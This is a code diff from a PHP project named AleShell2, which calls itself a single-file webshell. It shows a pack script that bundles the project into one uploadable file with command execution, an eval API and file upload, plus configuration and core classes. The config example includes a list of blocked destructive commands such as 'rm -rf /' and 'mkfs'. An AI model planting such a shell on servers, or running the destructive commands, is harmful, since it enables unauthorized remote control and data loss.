'src/Views/layouts/main.php',
|
||||
'src/Views/auth/login.php',
|
||||
'src/Views/modules/dashboard.php',
|
||||
'src/Views/modules/files.php',
|
||||
'src/Views/modules/terminal.php',
|
||||
'src/Views/modules/editor.php',
|
||||
'src/Views/modules/processes.php',
|
||||
'src/Views/modules/network.php',
|
||||
'src/Views/modules/database.php',
|
||||
'src/Views/modules/system.php',
|
||||
];
|
||||
|
||||
echo "Collecting source files...\n";
|
||||
|
||||
/**
|
||||
* Extract PHP code from file (without opening tag and namespace)
|
||||
*/
|
||||
function extractPhpCode(string $filePath, bool $minify = false): string {
|
||||
$content = file_get_contents($filePath);
|
||||
|
||||
// Remove opening PHP tag
|
||||
$content = preg_replace('/^<\?php\s*/s', '', $content);
|
||||
|
||||
// Remove declare strict types (we'll add it once at the top)
|
||||
$content = preg_replace('/declare\s*\(\s*strict_types\s*=\s*1\s*\)\s*;?\s*/i', '', $content);
|
||||
|
||||
// Remove namespace declarations (we'll inline everything)
|
||||
$content = preg_replace('/namespace\s+[^;]+;\s*/i', '', $content);
|
||||
|
||||
// Remove use statements (we'll use fully qualified names)
|
||||
$content = preg_replace('/use\s+[^;]+;\s*/i', '', $content);
|
||||
|
||||
if ($minify) {
|
||||
// Remove multi-line comments but preserve strings
|
||||
$content = preg_replace('/\/\*(?!.*?\*\/).*?\*\//s', '', $content);
|
||||
|
||||
// Remove single-line comments (be careful with URLs)
|
||||
$content = preg_replace('/(?<!:)\/\/.*$/m', '', $content);
|
||||
|
||||
// Remove extra whitespace
|
||||
$content = preg_replace('/\n\s*\n/', "\n", $content);
|
||||
}
|
||||
|
||||
return trim($content);
|
||||
}
|
||||
|
||||
/**
|
||||
* Extract view content (PHP template)
|
||||
*/
|
||||
function extractViewContent(string $filePath): string {
|
||||
return file_get_contents($filePath);
|
||||
}
|
||||
|
||||
// Build the monolithic file
|
||||
$output = <<<'HEADER'
|
||||
<?php
|
||||
/**
|
||||
* AleShell2 - Web Administration Shell
|
||||
*
|
||||
* A powerful, single-file PHP webshell with modern features:
|
||||
* - File Manager with upload/download/edit capabilities
|
||||
* - Terminal emulator with command execution
|
||||
* - Code Editor with syntax highlighting
|
||||
* - Process Manager with kill functionality
|
||||
* - Network Tools (ping, traceroute, port scan)
|
||||
* - Database Manager (MySQL, PostgreSQL, SQLite)
|
||||
* - System Information viewer
|
||||
*
|
||||
* @package AleShell2
|
||||
* @version 1.0.0
|
||||
* @author AleShell Team
|
||||
* @license MIT
|
||||
*
|
||||
* WARNING: This tool is intended for legitimate server administration only.
|
||||
* Unauthorized access to computer systems is illegal.
|
||||
*/
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
// ============================================================================
|
||||
// CONFIGURATION
|
||||
// ============================================================================
|
||||
|
||||
HEADER;
|
||||
|
||||
// Add configuration
|
||||
$output .= "\n\$ALESHELL_CONFIG = [\n";
|
||||
$output .= " 'password_hash' => '{$passwordHash}',\n";
|
||||
$output .= " 'session_timeout' => 3600,\n";
|
||||
$output .= " 'max_login_attempts' => 5,\n";
|
||||
$output .= " 'lockout_duration' => 900,\n";
|
||||
$output .= " 'ip_whitelist' => [],\n";
|
||||
$output .= " 'ip_blacklist' => [],\n";
|
||||
$output .= "];\n\n";
|
||||
|
||||
// Add embedded views
|
||||
$output .= "// ============================================================================\n";
|
||||
$output .= "// EMBEDDED VIEWS\n";
|
||||
$output .= "// ============================================================================\n\n";
|
||||
$output .= "\$ALESHELL_VIEWS = [];\n\n";
|
||||
|
||||
foreach ($viewFiles as $viewFile) {
|
||||
$path = __DIR__ . '/' . $viewFile;
|
||||
if (file_exists($path)) {
|
||||
$viewName = str_replace(['src/Views/', '.php'], '', $viewFile);
|
||||
$viewName = str_replace('/', '.', $viewName);
|
||||
$viewContent = extractViewContent($path);
|
||||
// Escape for heredoc
|
||||
$viewContent = addcslashes($viewContent, '\\\'');
|
||||
$output .= "\$ALESHELL_VIEWS['{$viewName}'] = '" . $viewContent . "';\n\n";
|
||||
echo " Added view: {$viewName}\n";
|
||||
}
|
||||
}
|
||||
|
||||
$output .= "\n// ============================================================================\n";
|
||||
$output .= "// CORE CLASSES\n";
|
||||
$output .= "// ============================================================================\n\n";
|
||||
|
||||
// Process core files
|
||||
foreach ($coreFiles as $file) {
|
||||
$path = __DIR__ . '/' . $file;
|
||||
if (file_exists($path)) {
|
||||
$code = extractPhpCode($path, $minify);
|
||||
// Replace namespace references with inline
|
||||
$code = str_replace('AleShell2\\Core\\', 'AleShell2_', $code);
|
||||
$code = str_replace('AleShell2\\Security\\', 'AleShell2_', $code);
|
||||
$code = str_replace('AleShell2\\Modules\\', 'AleShell2_', $code);
|
||||
|
||||
// Rename classes to avoid namespace issues
|
||||
$className = basename($file, '.php');
|
||||
$code = preg_replace('/class\s+' . $className . '/', 'class AleShell2_' . $className, $code);
|
||||
|
||||
$output .= "// Source: {$file}\n";
|
||||
$output .= $code . "\n\n";
|
||||
echo " Added core: {$className}\n";
|
||||
}
|
||||
}
|
||||
|
||||
$output .= "\n// ============================================================================\n";
|
||||
$output .= "// SECURITY CLASSES\n";
|
||||
$output .= "// ============================================================================\n\n";
|
||||
|
||||
// Process security files
|
||||
foreach ($securityFiles as $file) {
|
||||
$path = __DIR__ . '/' . $file;
|
||||
if (file_exists($path)) {
|
||||
$code = extractPhpCode($path, $minify);
|
||||
$code = str_replace('AleShell2\\Core\\', 'AleShell2_', $code);
|
||||
$code = str_replace('AleShell2\\Security\\', 'AleShell2_', $code);
|
||||
$code = str_replace('AleShell2\\Modules\\', 'AleShell2_', $code);
|
||||
|
||||
$className = basename($file, '.php');
|
||||
$code = preg_replace('/class\s+' . $className . '/', 'class AleShell2_' . $className, $code);
|
||||
|
||||
$output .= "// Source: {$file}\n";
|
||||
$output .= $code . "\n\n";
|
||||
echo " Added security: {$className}\n";
|
||||
}
|
||||
}
|
||||
|
||||
$output .= "\n// ============================================================================\n";
|
||||
$output .= "// MODULE CONTROLLERS\n";
|
||||
$output .= "// ============================================================================\n\n";
|
||||
|
||||
// Process module files
|
||||
foreach ($moduleFiles as $file) {
|
||||
$path = __DIR__ . '/' . $file;
|
||||
if (file_exists($path)) {
|
||||
$code = extractPhpCode($path, $minify);
|
||||
$code = str_replace('AleShell2\\Core\\', 'AleShell2_', $code);
|
||||
$code = str_replace('AleShell2\\Security\\', 'AleShell2_', $code);
|
||||
$code = str_replace('AleShell2\\Modules\\', 'AleShell2_', $code);
|
||||
$code = str_replace('AleShell2\\Modules\\Auth\\', 'AleShell2_', $code);
|
||||
$code = str_replace('AleShell2\\Modules\\Dashboard\\', 'AleShell2_', $code);
|
||||
$code = str_replace('AleShell2\\Modules\\Files\\', 'AleShell2_', $code);
|
||||
$code = str_replace('AleShell2\\Modules\\Terminal\\', 'AleShell2_', $code);
|
||||
$code = str_replace('AleShell2\\Modules\\Editor\\', 'AleShell2_', $code);
|
||||
$code = str_replace('AleShell2\\Modules\\Processes\\', 'AleShell2_', $code);
|
||||
$code = str_replace('AleShell2\\Modules\\Network\\', 'AleShell2_', $code);
|
||||
$code = str_replace('AleShell2\\Modules\\Database\\', 'AleShell2_', $code);
|
||||
$code = str_replace('AleShell2\\Modules\\System\\', 'AleShell2_', $code);
|
||||
$code = str_replace('AleShell2\\Modules\\Api\\', 'AleShell2_', $code);
|
||||
|
||||
$className = basename($file, '.php');
|
||||
$code = preg_replace('/class\s+' . $className . '/', 'class AleShell2_' . $className, $code);
|
||||
$code = preg_replace('/abstract\s+class\s+' . $className . '/', 'abstract class AleShell2_' . $className, $code);
|
||||
$code = preg_replace('/extends\s+' . $className . '/', 'extends AleShell2_' . $className, $code);
|
||||
$code = preg_replace('/extends\s+BaseController/', 'extends AleShell2_BaseController', $code);
|
||||
|
||||
$output .= "// Source: {$file}\n";
|
||||
$output .= $code . "\n\n";
|
||||
echo " Added module: {$className}\n";
|
||||
}
|
||||
}
|
||||
|
||||
// Add bootstrap code
|
||||
$output .= <<<'BOOTSTRAP'
|
||||
|
||||
// ============================================================================
|
||||
// BOOTSTRAP
|
||||
// ============================================================================
|
||||
|
||||
// Override View class to use embedded views
|
||||
class AleShell2_PackedView extends AleShell2_View {
|
||||
public function render(string $template, array $data = []): string {
|
||||
global $ALESHELL_VIEWS;
|
||||
|
||||
$templateKey = $template;
|
||||
|
||||
if (!isset($ALESHELL_VIEWS[$templateKey])) {
|
||||
return "View not found: {$template}";
|
||||
}
|
||||
|
||||
$viewContent = $ALESHELL_VIEWS[$templateKey];
|
||||
|
||||
// Extract data to local scope
|
||||
extract($data);
|
||||
|
||||
// Capture output
|
||||
ob_start();
|
||||
eval('?>' . $viewContent);
|
||||
$content = ob_get_clean();
|
||||
|
||||
// If using layout, wrap content
|
||||
if ($template !== 'layouts.main' && $template !== 'auth.login') {
|
||||
if (isset($ALESHELL_VIEWS['layouts.main'])) {
|
||||
$layoutContent = $ALESHELL_VIEWS['layouts.main'];
|
||||
ob_start();
|
||||
eval('?>' . $layoutContent);
|
||||
return ob_get_clean();
|
||||
}
|
||||
}
|
||||
|
||||
return $content;
|
||||
}
|
||||
}
|
||||
|
||||
// Modified Application for packed version
|
||||
class AleShell2_PackedApplication {
|
||||
private AleShell2_Request $request;
|
||||
private AleShell2_Response $response;
|
||||
private AleShell2_Router $router;
|
||||
private AleShell2_Session $session;
|
||||
private AleShell2_Auth $auth;
|
||||
private AleShell2_PackedView $view;
|
||||
private array $config;
|
||||
|
||||
public function __construct() {
|
||||
global $ALESHELL_CONFIG;
|
||||
$this->config = $ALESHELL_CONFIG;
|
||||
}
|
||||
|
||||
public function run(): void {
|
||||
try {
|
||||
// Initialize components
|
||||
$this->request = new AleShell2_Request();
|
||||
$this->response = new AleShell2_Response();
|
||||
$this->session = new AleShell2_Session($this->config['session_timeout'] ?? 3600);
|
||||
$this->auth = new AleShell2_Auth(
|
||||
$this->config['password_hash'],
|
||||
$this->session,
|
||||
$this->config['max_login_attempts'] ?? 5,
|
||||
$this->config['lockout_duration'] ?? 900
|
||||
);
|
||||
$this->view = new AleShell2_PackedView();
|
||||
$this->router = new AleShell2_Router($this);
|
||||
|
||||
// Set security headers
|
||||
$this->setSecurityHeaders();
|
||||
|
||||
// Check IP restrictions
|
||||
if (!$this->checkIpAccess()) {
|
||||
http_response_code(403);
|
||||
die('Access denied');
|
||||
}
|
||||
|
||||
// Start session
|
||||
$this->session->start();
|
||||
|
||||
// Generate CSRF token if needed
|
||||
if (!isset($_SESSION['csrf_token'])) {
|
||||
$_SESSION['csrf_token'] = $this->auth->generateCsrfToken();
|
||||
}
|
||||
|
||||
// Setup routes
|
||||
$this->setupRoutes();
|
||||
|
||||
// Dispatch request
|
||||
$this->router->dispatch($this->request, $this->response);
|
||||
|
||||
} catch (\Throwable $e) {
|
||||
$this->handleError($e);
|
||||
}
|
||||
}
|
||||
|
||||
private function setSecurityHeaders(): void {
|
||||
header('X-Content-Type-Options: nosniff');
|
||||
header('X-Frame-Options: DENY');
|
||||
header('X-XSS-Protection: 1; mode=block');
|
||||
header('Referrer-Policy: strict-origin-when-cross-origin');
|
||||
}
|
||||
|
||||
private function checkIpAccess(): bool {
|
||||
$clientIp = $_SERVER['REMOTE_ADDR'] ?? '';
|
||||
|
||||
// Check blacklist
|
||||
if (!empty($this->config['ip_blacklist'])) {
|
||||
if (in_array($clientIp, $this->config['ip_blacklist'])) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
// Check whitelist
|
||||
if (!empty($this->config['ip_whitelist'])) {
|
||||
return in_array($clientIp, $this->config['ip_whitelist']);
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
private function setupRoutes(): void {
|
||||
// Auth routes (public)
|
||||
$this->router->get('login', function($req, $res, $params) {
|
||||
$controller = new AleShell2_AuthController($this);
|
||||
$controller->showLogin($req, $res, $params);
|
||||
});
|
||||
|
||||
$this->router->post('login', function($req, $res, $params) {
|
||||
$controller = new AleShell2_AuthController($this);
|
||||
$controller->login($req, $res, $params);
|
||||
});
|
||||
|
||||
$this->router->get('logout', function($req, $res, $params) {
|
||||
$controller = new AleShell2_AuthController($this);
|
||||
$controller->logout($req, $res, $params);
|
||||
});
|
||||
|
||||
// Protected routes
|
||||
$authMiddleware = function($handler) {
|
||||
return function($req, $res, $params) use ($handler) {
|
||||
if (!$this->auth->isAuthenticated()) {
|
||||
$res->redirect('?action=login');
|
||||
return;
|
||||
}
|
||||
$handler($req, $res, $params);
|
||||
};
|
||||
};
|
||||
|
||||
// Dashboard
|
||||
$this->router->get('dashboard', $authMiddleware(function($req, $res, $params) {
|
||||
$controller = new AleShell2_DashboardController($this);
|
||||
$controller->index($req, $res, $params);
|
||||
}));
|
||||
|
||||
// Files
|
||||
$this->router->get('files', $authMiddleware(function($req, $res, $params) {
|
||||
$controller = new AleShell2_FilesController($this);
|
||||
$action = $req->get('action', 'index');
|
||||
match($action) {
|
||||
'list' => $controller->list($req, $res, $params),
|
||||
'read' => $controller->read($req, $res, $params),
|
||||
'download' => $controller->download($req, $res, $params),
|
||||
'search' => $controller->search($req, $res, $params),
|
||||
default => $controller->index($req, $res, $params),
|
||||
};
|
||||
}));
|
||||
|
||||
$this->router->post('files', $authMiddleware(function($req, $res, $params) {
|
||||
$controller = new AleShell2_FilesController($this);
|
||||
$action = $req->get('action', 'index');
|
||||
match($action) {
|
||||
'write' => $controller->write($req, $res, $params),
|
||||
'delete' => $controller->delete($req, $res, $params),
|
||||
'mkdir' => $controller->mkdir($req, $res, $params),
|
||||
'copy' => $controller->copy($req, $res, $params),
|
||||
'move' => $controller->move($req, $res, $params),
|
||||
'chmod' => $controller->chmod($req, $res, $params),
|
||||
'upload' => $controller->upload($req, $res, $params),
|
||||
default => $controller->index($req, $res, $params),
|
||||
};
|
||||
}));
|
||||
|
||||
// Terminal
|
||||
$this->router->get('terminal', $authMiddleware(function($req, $res, $params) {
|
||||
$controller = new AleShell2_TerminalController($this);
|
||||
$controller->index($req, $res, $params);
|
||||
}));
|
||||
|
||||
$this->router->post('terminal', $authMiddleware(function($req, $res, $params) {
|
||||
$controller = new AleShell2_TerminalController($this);
|
||||
$action = $req->get('action', 'exec');
|
||||
if ($action === 'exec') {
|
||||
$controller->execute($req, $res, $params);
|
||||
}
|
||||
}));
|
||||
|
||||
// Editor
|
||||
$this->router->get('editor', $authMiddleware(function($req, $res, $params) {
|
||||
$controller = new AleShell2_EditorController($this);
|
||||
$controller->index($req, $res, $params);
|
||||
}));
|
||||
|
||||
$this->router->post('editor', $authMiddleware(function($req, $res, $params) {
|
||||
$controller = new AleShell2_EditorController($this);
|
||||
$controller->save($req, $res, $params);
|
||||
}));
|
||||
|
||||
// Processes
|
||||
$this->router->get('processes', $authMiddleware(function($req, $res, $params) {
|
||||
$controller = new AleShell2_ProcessesController($this);
|
||||
$action = $req->get('action', 'index');
|
||||
if ($action === 'list') {
|
||||
$controller->list($req, $res, $params);
|
||||
} else {
|
||||
$controller->index($req, $res, $params);
|
||||
}
|
||||
}));
|
||||
|
||||
$this->router->post('processes', $authMiddleware(function($req, $res, $params) {
|
||||
$controller = new AleShell2_ProcessesController($this);
|
||||
$action = $req->get('action', 'kill');
|
||||
if ($action === 'kill') {
|
||||
$controller->kill($req, $res, $params);
|
||||
}
|
||||
}));
|
||||
|
||||
// Network
|
||||
$this->router->get('network', $authMiddleware(function($req, $res, $params) {
|
||||
$controller = new AleShell2_NetworkController($this);
|
||||
$action = $req->get('action', 'index');
|
||||
if ($action === 'connections') {
|
||||
$controller->connections($req, $res, $params);
|
||||
} else {
|
||||
$controller->index($req, $res, $params);
|
||||
}
|
||||
}));
|
||||
|
||||
$this->router->post('network', $authMiddleware(function($req, $res, $params) {
|
||||
$controller = new AleShell2_NetworkController($this);
|
||||
$action = $req->get('action');
|
||||
match($action) {
|
||||
'ping' => $controller->ping($req, $res, $params),
|
||||
'traceroute' => $controller->traceroute($req, $res, $params),
|
||||
'portscan' => $controller->portscan($req, $res, $params),
|
||||
default => $controller->index($req, $res, $params),
|
||||
};
|
||||
}));
|
||||
|
||||
// Database
|
||||
$this->router->get('database', $authMiddleware(function($req, $res, $params) {
|
||||
$controller = new AleShell2_DatabaseController($this);
|
||||
$action = $req->get('action', 'index');
|
||||
match($action) {
|
||||
'tables' => $controller->tables($req, $res, $params),
|
||||
'structure' => $controller->structure($req, $res, $params),
|
||||
'export' => $controller->export($req, $res, $params),
|
||||
default => $controller->index($req, $res, $params),
|
||||
};
|
||||
}));
|
||||
|
||||
$this->router->post('database', $authMiddleware(function($req, $res, $params) {
|
||||
$controller = new AleShell2_DatabaseController($this);
|
||||
$action = $req->get('action');
|
||||
match($action) {
|
||||
'connect' => $controller->connect($req, $res, $params),
|
||||
'disconnect' => $controller->disconnect($req, $res, $params),
|
||||
'query' => $controller->query($req, $res, $params),
|
||||
'selectDb' => $controller->selectDb($req, $res, $params),
|
||||
default => $controller->index($req, $res, $params),
|
||||
};
|
||||
}));
|
||||
|
||||
// System
|
||||
$this->router->get('system', $authMiddleware(function($req, $res, $params) {
|
||||
$controller = new AleShell2_SystemController($this);
|
||||
$action = $req->get('action', 'index');
|
||||
match($action) {
|
||||
'info' => $controller->info($req, $res, $params),
|
||||
'phpinfo' => $controller->phpinfo($req, $res, $params),
|
||||
'environment' => $controller->environment($req, $res, $params),
|
||||
'extensions' => $controller->extensions($req, $res, $params),
|
||||
default => $controller->index($req, $res, $params),
|
||||
};
|
||||
}));
|
||||
|
||||
// API
|
||||
$this->router->get('api', $authMiddleware(function($req, $res, $params) {
|
||||
$controller = new AleShell2_ApiController($this);
|
||||
$action = $req->get('action', 'status');
|
||||
match($action) {
|
||||
'status' => $controller->status($req, $res, $params),
|
||||
'csrf' => $controller->csrf($req, $res, $params),
|
||||
'health' => $controller->health($req, $res, $params),
|
||||
'download' => $controller->download($req, $res, $params),
|
||||
default => $controller->status($req, $res, $params),
|
||||
};
|
||||
}));
|
||||
|
||||
$this->router->post('api', $authMiddleware(function($req, $res, $params) {
|
||||
$controller = new AleShell2_ApiController($this);
|
||||
$action = $req->get('action');
|
||||
match($action) {
|
||||
'exec' => $controller->exec($req, $res, $params),
|
||||
'eval' => $controller->eval($req, $res, $params),
|
||||
'upload' => $controller->upload($req, $res, $params),
|
||||
default => $controller->status($req, $res, $params),
|
||||
};
|
||||
}));
|
||||
|
||||
// Default route
|
||||
$this->router->get('', function($req, $res, $params) {
|
||||
if ($this->auth->isAuthenticated()) {
|
||||
$res->redirect('?module=dashboard');
|
||||
} else {
|
||||
$res->redirect('?action=login');
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
private function handleError(\Throwable $e): void {
|
||||
http_response_code(500);
|
||||
echo '<h1>Error</h1>';
|
||||
echo '<p>' . htmlspecialchars($e->getMessage()) . '</p>';
|
||||
if (ini_get('display_errors')) {
|
||||
echo '<pre>' . htmlspecialchars($e->getTraceAsString()) . '</pre>';
|
||||
}
|
||||
}
|
||||
|
||||
public function getSession(): AleShell2_Session { return $this->session; }
|
||||
public function getAuth(): AleShell2_Auth { return $this->auth; }
|
||||
public function getView(): AleShell2_PackedView { return $this->view; }
|
||||
public function getConfig(): array { return $this->config; }
|
||||
}
|
||||
|
||||
// Run the application
|
||||
$app = new AleShell2_PackedApplication();
|
||||
$app->run();
|
||||
|
||||
BOOTSTRAP;
|
||||
|
||||
// Write output file
|
||||
file_put_contents($outputFile, $output);
|
||||
|
||||
$size = filesize($outputFile);
|
||||
$sizeKb = round($size / 1024, 2);
|
||||
|
||||
echo "\n================\n";
|
||||
echo "Pack complete!\n";
|
||||
echo "Output: {$outputFile}\n";
|
||||
echo "Size: {$sizeKb} KB\n";
|
||||
echo "Password: {$password}\n";
|
||||
echo "\nTo use, upload the file to your web server and access it via browser.\n";
|
||||
1
packed/.gitkeep
Archivo normal
1
packed/.gitkeep
Archivo normal
@@ -0,0 +1 @@
|
||||
# This file ensures the packed directory is tracked by git
|
||||
123
src/Config/config.example.php
Archivo normal
123
src/Config/config.example.php
Archivo normal
@@ -0,0 +1,123 @@
|
||||
<?php
|
||||
/**
|
||||
* AleShell2 Configuration File
|
||||
*
|
||||
* Copy this file to config.php and customize as needed.
|
||||
*
|
||||
* @package AleShell2
|
||||
*/
|
||||
|
||||
return [
|
||||
// ==========================================================================
|
||||
// APPLICATION SETTINGS
|
||||
// ==========================================================================
|
||||
'app' => [
|
||||
'name' => 'AleShell2',
|
||||
'version' => '2.0.0',
|
||||
'debug' => false,
|
||||
'timezone' => 'UTC',
|
||||
],
|
||||
|
||||
// ==========================================================================
|
||||
// SECURITY SETTINGS
|
||||
// ==========================================================================
|
||||
'security' => [
|
||||
// Default password: 'aleshell' - CHANGE THIS!
|
||||
'password' => '$2y$10$YourHashedPasswordHere',
|
||||
|
||||
// Session timeout in seconds (default: 1 hour)
|
||||
'session_timeout' => 3600,
|
||||
|
||||
// Maximum login attempts before lockout
|
||||
'max_attempts' => 5,
|
||||
|
||||
// Lockout time in seconds (default: 5 minutes)
|
||||
'lockout_time' => 300,
|
||||
|
||||
// Enable CSRF protection
|
||||
'csrf_protection' => true,
|
||||
|
||||
// IP whitelist (empty = allow all)
|
||||
'allowed_ips' => [],
|
||||
|
||||
// IP blacklist
|
||||
'blocked_ips' => [],
|
||||
|
||||
// Commands to block in terminal
|
||||
'blocked_commands' => [
|
||||
'rm -rf /',
|
||||
'mkfs',
|
||||
'dd if=/dev/zero',
|
||||
'shutdown',
|
||||
'reboot',
|
||||
'halt',
|
||||
'init 0',
|
||||
'init 6',
|
||||
],
|
||||
|
||||
// Paths to restrict (empty = no restriction)
|
||||
'restricted_paths' => [],
|
||||
],
|
||||
|
||||
// ==========================================================================
|
||||
// FEATURE TOGGLES
|
||||
// ==========================================================================
|
||||
'features' => [
|
||||
'file_manager' => true,
|
||||
'terminal' => true,
|
||||
'code_editor' => true,
|
||||
'process_manager' => true,
|
||||
'network_tools' => true,
|
||||
'database_tools' => true,
|
||||
'system_info' => true,
|
||||
],
|
||||
|
||||
// ==========================================================================
|
||||
// USER INTERFACE SETTINGS
|
||||
// ==========================================================================
|
||||
'ui' => [
|
||||
// Default theme: dark, light, matrix, ocean, dracula
|
||||
'theme' => 'dark',
|
||||
|
||||
// Default language
|
||||
'language' => 'en',
|
||||
|
||||
// Items per page in lists
|
||||
'items_per_page' => 50,
|
||||
|
||||
// Show hidden files by default
|
||||
'show_hidden_files' => false,
|
||||
|
||||
// Auto-refresh interval in seconds (0 = disabled)
|
||||
'auto_refresh' => 30,
|
||||
],
|
||||
|
||||
// ==========================================================================
|
||||
// LIMITS
|
||||
// ==========================================================================
|
||||
'limits' => [
|
||||
// Maximum file size for viewing (50MB)
|
||||
'max_file_size' => 50 * 1024 * 1024,
|
||||
|
||||
// Maximum upload size (100MB)
|
||||
'max_upload_size' => 100 * 1024 * 1024,
|
||||
|
||||
// Command execution timeout in seconds
|
||||
'command_timeout' => 30,
|
||||
|
||||
// Maximum command history entries
|
||||
'max_history' => 100,
|
||||
|
||||
// Maximum process list entries
|
||||
'max_processes' => 1000,
|
||||
],
|
||||
|
||||
// ==========================================================================
|
||||
// DATABASE SETTINGS (for database tools)
|
||||
// ==========================================================================
|
||||
'database' => [
|
||||
'default_type' => 'mysql',
|
||||
'default_host' => 'localhost',
|
||||
'default_port' => 3306,
|
||||
],
|
||||
];
|
||||
230
src/Core/Application.php
Archivo normal
230
src/Core/Application.php
Archivo normal
@@ -0,0 +1,230 @@
|
||||
<?php
|
||||
/**
|
||||
* AleShell2 Application Core
|
||||
*
|
||||
* Main application class that bootstraps and runs the shell.
|
||||
*
|
||||
* @package AleShell2\Core
|
||||
*/
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace AleShell2\Core;
|
||||
|
||||
use AleShell2\Security\Auth;
|
||||
use AleShell2\Security\Session;
|
||||
|
||||
class Application
|
||||
{
|
||||
private array $config = [];
|
||||
private Request $request;
|
||||
private Response $response;
|
||||
private Router $router;
|
||||
private Auth $auth;
|
||||
private Session $session;
|
||||
private static ?Application $instance = null;
|
||||
|
||||
/**
|
||||
* Create application instance
|
||||
*/
|
||||
public function __construct()
|
||||
{
|
||||
self::$instance = $this;
|
||||
$this->loadConfig();
|
||||
$this->initializeComponents();
|
||||
}
|
||||
|
||||
/**
|
||||
* Get singleton instance
|
||||
*/
|
||||
public static function getInstance(): ?Application
|
||||
{
|
||||
return self::$instance;
|
||||
}
|
||||
|
||||
/**
|
||||
* Load configuration
|
||||
*/
|
||||
private function loadConfig(): void
|
||||
{
|
||||
$configFile = ALESHELL_SRC . '/Config/config.php';
|
||||
|
||||
if (file_exists($configFile)) {
|
||||
$this->config = require $configFile;
|
||||
} else {
|
||||
// Default configuration
|
||||
$this->config = $this->getDefaultConfig();
|
||||
}
|
||||
|
||||
// Apply timezone
|
||||
$timezone = $this->config['app']['timezone'] ?? 'UTC';
|
||||
date_default_timezone_set($timezone);
|
||||
|
||||
// Set debug mode
|
||||
if ($this->config['app']['debug'] ?? false) {
|
||||
define('ALESHELL_DEBUG', true);
|
||||
ini_set('display_errors', '1');
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Initialize all components
|
||||
*/
|
||||
private function initializeComponents(): void
|
||||
{
|
||||
$this->request = new Request();
|
||||
$this->response = new Response();
|
||||
$this->session = new Session($this->config);
|
||||
$this->auth = new Auth($this->config, $this->session);
|
||||
$this->router = new Router($this->config, $this->auth);
|
||||
}
|
||||
|
||||
/**
|
||||
* Run the application
|
||||
*/
|
||||
public function run(): void
|
||||
{
|
||||
// Start session
|
||||
$this->session->start();
|
||||
|
||||
// Check IP restrictions
|
||||
$this->checkIPRestrictions();
|
||||
|
||||
// Route the request
|
||||
$this->router->dispatch($this->request, $this->response);
|
||||
}
|
||||
|
||||
/**
|
||||
* Check IP whitelist/blacklist
|
||||
*/
|
||||
private function checkIPRestrictions(): void
|
||||
{
|
||||
$clientIP = $this->request->getClientIP();
|
||||
|
||||
// Check blocked IPs
|
||||
$blockedIPs = $this->config['security']['blocked_ips'] ?? [];
|
||||
if (in_array($clientIP, $blockedIPs, true)) {
|
||||
http_response_code(403);
|
||||
die('Access denied');
|
||||
}
|
||||
|
||||
// Check allowed IPs (if configured)
|
||||
$allowedIPs = $this->config['security']['allowed_ips'] ?? [];
|
||||
if (!empty($allowedIPs) && !in_array($clientIP, $allowedIPs, true)) {
|
||||
http_response_code(403);
|
||||
die('Access denied');
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Get configuration value
|
||||
*/
|
||||
public function config(string $key, mixed $default = null): mixed
|
||||
{
|
||||
$keys = explode('.', $key);
|
||||
$value = $this->config;
|
||||
|
||||
foreach ($keys as $k) {
|
||||
if (!isset($value[$k])) {
|
||||
return $default;
|
||||
}
|
||||
$value = $value[$k];
|
||||
}
|
||||
|
||||
return $value;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get all configuration
|
||||
*/
|
||||
public function getConfig(): array
|
||||
{
|
||||
return $this->config;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get request instance
|
||||
*/
|
||||
public function getRequest(): Request
|
||||
{
|
||||
return $this->request;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get response instance
|
||||
*/
|
||||
public function getResponse(): Response
|
||||
{
|
||||
return $this->response;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get auth instance
|
||||
*/
|
||||
public function getAuth(): Auth
|
||||
{
|
||||
return $this->auth;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get session instance
|
||||
*/
|
||||
public function getSession(): Session
|
||||
{
|
||||
return $this->session;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get default configuration
|
||||
*/
|
||||
private function getDefaultConfig(): array
|
||||
{
|
||||
return [
|
||||
'app' => [
|
||||
'name' => 'AleShell2',
|
||||
'version' => ALESHELL_VERSION,
|
||||
'debug' => false,
|
||||
'timezone' => 'UTC',
|
||||
],
|
||||
'security' => [
|
||||
'password' => '$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi',
|
||||
'session_timeout' => 3600,
|
||||
'max_attempts' => 5,
|
||||
'lockout_time' => 300,
|
||||
'csrf_protection' => true,
|
||||
'allowed_ips' => [],
|
||||
'blocked_ips' => [],
|
||||
'blocked_commands' => [],
|
||||
'restricted_paths' => [],
|
||||
],
|
||||
'features' => [
|
||||
'file_manager' => true,
|
||||
'terminal' => true,
|
||||
'code_editor' => true,
|
||||
'process_manager' => true,
|
||||
'network_tools' => true,
|
||||
'database_tools' => true,
|
||||
'system_info' => true,
|
||||
],
|
||||
'ui' => [
|
||||
'theme' => 'dark',
|
||||
'language' => 'en',
|
||||
'items_per_page' => 50,
|
||||
'show_hidden_files' => false,
|
||||
'auto_refresh' => 30,
|
||||
],
|
||||
'limits' => [
|
||||
'max_file_size' => 50 * 1024 * 1024,
|
||||
'max_upload_size' => 100 * 1024 * 1024,
|
||||
'command_timeout' => 30,
|
||||
'max_history' => 100,
|
||||
'max_processes' => 1000,
|
||||
],
|
||||
'database' => [
|
||||
'default_type' => 'mysql',
|
||||
'default_host' => 'localhost',
|
||||
'default_port' => 3306,
|
||||
],
|
||||
];
|
||||
}
|
||||
}
|
||||
256
src/Core/Request.php
Archivo normal
256
src/Core/Request.php
Archivo normal
@@ -0,0 +1,256 @@
|
||||
<?php
|
||||
/**
|
||||
* AleShell2 Request Handler
|
||||
*
|
||||
* Handles incoming HTTP requests.
|
||||
*
|
||||
* @package AleShell2\Core
|
||||
*/
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace AleShell2\Core;
|
||||
|
||||
class Request
|
||||
{
|
||||
private string $method;
|
||||
private string $uri;
|
||||
private string $path;
|
||||
private array $query;
|
